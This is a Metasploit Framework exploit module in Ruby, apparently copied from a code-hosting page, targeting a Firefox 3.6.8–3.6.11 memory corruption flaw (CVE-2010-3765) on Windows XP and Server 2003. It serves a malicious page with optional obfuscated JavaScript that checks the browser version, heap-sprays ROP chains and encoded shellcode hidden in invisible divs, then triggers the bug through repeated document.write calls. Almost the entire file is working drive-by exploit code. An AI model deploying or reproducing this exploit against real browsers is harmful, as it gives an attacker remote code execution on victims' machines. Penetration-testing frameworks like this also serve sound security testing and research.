294 lines
9.8 KiB
Ruby
294 lines
9.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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#
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# This module acts as an HTTP server
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#
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::FF,
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:ua_minver => "3.6.8",
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:ua_maxver => "3.6.11",
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:os_name => OperatingSystems::WINDOWS,
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:javascript => true,
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:rank => NormalRanking,
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:vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
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})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mozilla Firefox Interleaved document.write/appendChild Memory Corruption',
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'Description' => %q{
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This module exploits a code execution vulnerability in Mozilla
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Firefox caused by interleaved calls to document.write and appendChild.
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This module was written based on a live exploit found in the wild.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'unknown', # discovered in the wild
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'scriptjunkie' # Metasploit module, functionality/portability fixes
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],
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'References' =>
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[
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['CVE', '2010-3765'],
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['OSVDB', '68905'],
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['BID', '15352'],
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['EDB', '15352'],
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['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=607222'],
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['URL', 'http://www.mozilla.org/security/announce/2010/mfsa2010-73.html']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "",
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},
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'Targets' =>
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[
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# Tested against Firefox 3.6.8, 3.6.9, 3.6.10, and 3.6.11 on WinXP and Windows Server 2003
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[ 'Firefox 3.6.8 - 3.6.11, Windows XP/Windows Server 2003',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 25 2010'
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))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
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]
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)
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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print_status("Sending exploit HTML...")
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send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
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# Handle the payload
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handler(cli)
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end
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def generate_html(payload)
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enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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custom_js = %Q|
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function check(){
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var temp="";
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var user=navigator.userAgent.toLowerCase();
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var vara=user.indexOf("windows nt 6.1");
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var varb=user.indexOf("windows nt 6.0");
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var varc=user.indexOf("firefox/3.6.8");
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var vard=user.indexOf("firefox/3.6.9");
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var vare=user.indexOf("firefox/3.6.10");
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var varf=user.indexOf("firefox/3.6.11");
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if(vara==-1&&varb==-1&&varc!=-1&&vard==-1&&vare==-1&&varf==-1){
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temp="8";
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}
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else if(vara==-1&&varb==-1&&varc==-1&&vard!=-1&&vare==-1&&varf==-1){
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temp="9";
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}
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else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare!=-1&&varf==-1){
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temp="10";
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}
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else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare==-1&&varf!=-1){
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temp="11";
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}
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else {
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return temp="0";
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}
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return temp;
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}
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function dedede(argsu){
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var i;var sunb = "";
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for (i = 0; i < argsu.length; i++){
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sunb += String.fromCharCode(parseInt(argsu[i], 16));
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}
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return unescape(sunb);
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}
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function code(beastk){
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var nop = "";
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var len = beastk.length;
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for (i = 0; i < len;) {
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nop = nop + "m" + beastk.substring(i, i + 5);
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i = i + 5;
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}
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nop = nop.split("m").toString();
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var temp = new Array();
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for (j = 0; j < nop.length; j++) {
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if (nop.charCodeAt(j).toString(16) == "2c") {
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temp.push("25");
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}
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else {
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temp.push(nop.charCodeAt(j).toString(16));
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}
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}
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return dedede(temp);
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}
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function getatts(str){
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var cobj=document.createElement(str);
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cobj.id="testcase";
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document.body.appendChild(cobj);
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var obj=document.getElementById("testcase");
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var atts = new Array();
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for(p in obj){
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if(typeof(obj[p])=="string"){
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atts.push(p);
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}
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}
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document.body.removeChild(cobj);
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return atts;
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}
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var chk=check();
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var bk="mp.ojsyex5";
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var array = new Array();
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var ls = 0x100000-(bk.length*2+0x01020);
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var retaddr ="";//////////////////////111111111111111111111111111111
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if (chk == "0") {
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location.href = "about:blank";
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}
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else {
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if(chk=="8"){
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retaddr=code("u0d0du0d0d");
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}
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if(chk=="9"){
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retaddr=code("uef52u100a");
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}
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if(chk=="10"){
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retaddr=code("ub8b7u1029");
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}
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if(chk=="11"){
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retaddr=code("u4bc8u1000");
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}
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var ropstr = retaddr;
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while (ropstr.length < (0x85750 - 0x1000) / 2) {
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ropstr += retaddr
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};
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///////////////////////////////2222222222222222222
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var sunb="";
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var sun8inner = document.getElementById("sun8").innerHTML;
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var sun9inner = document.getElementById("sun9").innerHTML;
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var sun10inner = document.getElementById("sun10").innerHTML;
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var sun11inner = document.getElementById("sun11").innerHTML;
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var shellcodes = document.getElementById("suv").innerHTML;
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if(chk=="8"){
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sunb=sun8inner;
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}
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if(chk=="9"){
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sunb=sun9inner;
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}
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if(chk=="10"){
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sunb=sun10inner;
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}
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if(chk=="11"){
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sunb=sun11inner;
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}
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ropstr += code(sunb + shellcodes);
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for (u = 0; u < 8; u++) {
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retaddr += retaddr;
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}
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while (ropstr.length < ls) {
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ropstr += retaddr;
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}
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var lefthalf = ropstr.substring(0, ls / 2);
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ropstr = "";
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for (i = 0; i < 0x200; i++) {
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array[i] = lefthalf + bk;
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}
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////////////////////////////////////333333333333
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if(chk=="8"){
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retaddr=code("ub8a7u1029");
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}
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if(chk=="9"){
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retaddr=code("uab07u1006");
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}
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if(chk=="10"){
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retaddr=code("u8247u1009");
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}
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if(chk=="11"){
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retaddr=code("uf7e7u1017");
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}
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for (i = 0; i < 16; i++) {
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retaddr += retaddr;
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}
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ropstr = retaddr;
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while (ropstr.length < ls) {
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ropstr += retaddr;
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}
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lefthalf = ropstr.substring(0, ls / 2);
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ropstr = "";
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for (i = 0x200; i < 0x500; i++) {
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array[i] = lefthalf + bk;
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}
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var tags = new Array("audio", "a", "base");
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for (inx = 0; inx < 0x8964; inx++)
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for (i = 0; i < tags.length; i++) {
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var atts = getatts(tags[i]);
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for (j = 0; j < atts.length; j++) {
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var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] + ">" + tags[i];
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document.write(html);
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}
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}
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}
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if datastore['OBFUSCATE']
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opts = {
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'Symbols' => {
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'Variables' => %w{ atts temp vara varb varc vard vare varf argsu beastk nop tags retaddr
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ropstr lefthalf bk sunb shellcodes sun8inner sun9inner sun10inner sun11inner array chk },
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'Methods' => %w{ getatts code check dedede }
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}
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}
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custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts).obfuscate()
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end
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return <<-EOS
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<html>
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<body>
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<div style="visibility:hidden;width:0px;height:0px">
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<div id=sun8>ub8acu1029u0d00u0d0du0d00u102du1000u0d00u102du1000u8710u1018ub288u1086u127cu1004udc24u1009u102du1000u0000u0000u1000u0000u1000u0000u0040u0000u1af1u1000u9090u0febu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u5b58u1889u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000ufb83u74ffu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u830bu04c0u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uf3ebue890u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uffecuffffu7be4u1005u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004udc24u1009</div>
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<div id=sun9>u2794u1000uc288u1082u3e38u1000u6cd4u100bu1016u1000u0000u0000u1000u0000u1000u0000u0040u0000uce22u1003u9090u0FEBu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u5B58u1889u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFB83u74FFu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u830Bu04C0u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uF3EBuE890u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFFECuFFFFu9602u1001u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u6cd4u100b</div>
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<div id=sun10>uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029u20F0u1011u2288u1082u428au1000u7676u1016ub8b7u1029u0000u0000u1000u0000u1000u0000u0040u0000u9405u1003u9090u0FEBuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u5B58u1889uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFB83u74FFuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u830Bu04C0uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uF3EBuE890uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFFECuFFFFuE541u1001u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u7676u1016</div>
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<div id=sun11>u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u83cau1000u0280u1083u3b5au1000u8ef4u100au4bc8u1000u0000u0000u1000u0000u1000u0000u0040u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u8ef4u100a</div>
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<div id=suv>#{enc_code.split("%").join}uffffuffffuffffuffff</div>
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</div>
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<body>
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<script type="text/javascript">
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#{custom_js}
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</script></body></html>
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EOS
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end
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end
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